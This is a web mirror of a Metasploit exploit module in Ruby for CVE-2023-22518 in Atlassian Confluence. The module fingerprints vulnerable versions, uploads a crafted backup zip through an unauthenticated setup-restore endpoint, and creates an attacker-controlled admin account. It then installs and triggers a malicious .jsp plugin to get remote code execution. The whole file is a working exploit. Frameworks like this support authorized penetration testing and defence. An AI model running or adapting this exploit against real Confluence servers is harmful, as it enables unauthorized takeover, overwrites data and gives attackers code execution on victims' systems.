CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
11
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin
12
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',
20
'Description' => %q{
21
This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
22
Confluence instance administrator account. Using this account, an attacker can then perform all
23
administrative actions that are available to Confluence instance administrator. This module uses the
24
administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
25
execution on the target in the context of the of the user running the confluence server.
26
},
27
'Author' => [
28
'Atlassian', # Discovery
29
'jheysel-r7' # msf module
30
],
31
'References' => [
32
[ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
33
[ 'CVE', '2023-22518']
34
],
35
'License' => MSF_LICENSE,
36
'Privileged' => false,
37
'Targets' => [
38
[
39
'Java',
40
{
41
'Platform' => 'java',
42
'Arch' => [ARCH_JAVA]
43
},
44
]
45
],
46
'DisclosureDate' => '2023-10-31',
47
'Notes' => {
48
'Stability' => [ CRASH_SAFE, ],
49
'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials
50
'Reliability' => [ REPEATABLE_SESSION, ]
51
}
52
)
53
)
54
55
register_options(
56
[
57
Opt::RPORT(8090),
58
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
59
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
60
# The endpoint we target to trigger the vulnerability.
61
OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),
62
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
63
OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
64
]
65
)
66
end
67
68
def check
69
confluence_version = get_confluence_version
70
return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version
71
72
# Confluence Server and Confluence Data Center have the same vulnerable version ranges.
73
if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
74
confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
75
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
76
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||
77
confluence_version == Rex::Version.new('8.6.0')
78
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
79
end
80
81
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
82
end
83
84
# https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html
85
def generate_hash(password)
86
salt = OpenSSL::Random.random_bytes(16)
87
iterations = 10000
88
digest = OpenSSL::Digest.new('SHA1')
89
90
key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)
91
salted_key = salt + key
92
encoded_hash = Base64.strict_encode64(salted_key)
93
94
'{PKCS5S2}' + encoded_hash
95
end
96
97
def create_zip
98
zip_file = Rex::Zip::Archive.new
99
100
# exportDescriptor.properties needs to be present in the zip file in order for it to be valid.
101
export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))
102
zip_file.add_file('exportDescriptor.properties', export_descriptor)
103
104
entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))
105
entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)
106
entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])
107
entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))
108
109
zip_file.add_file('entities.xml', entities_xml)
110
zip_file.pack
111
end
112
113
def upload_backup
114
zip_file = create_zip
115
post_data = Rex::MIME::Message.new
116
post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')
117
post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')
118
post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")
119
120
data = post_data.to_s
121
res = send_request_cgi({
122
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),
123
'method' => 'POST',
124
'data' => data,
125
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
126
'keep_cookies' => true,
127
'headers' => {
128
'X-Atlassian-Token' => 'no-check'
129
},
130
'vars_get' => {
131
'synchronous' => 'true'
132
}
133
}, 120)
134
135
fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200
136
print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")
137
end
138
139
def exploit
140
print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
141
142
# Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password
143
upload_backup
144
145
# Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.
146
payload_endpoint = rand_text_alphanumeric(8)
147
plugin_key = rand_text_alpha(8)
148
begin
149
payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)
150
upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
151
trigger_payload_plugin(payload_endpoint)
152
ensure
153
delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
154
end
155
end
156
end
157
158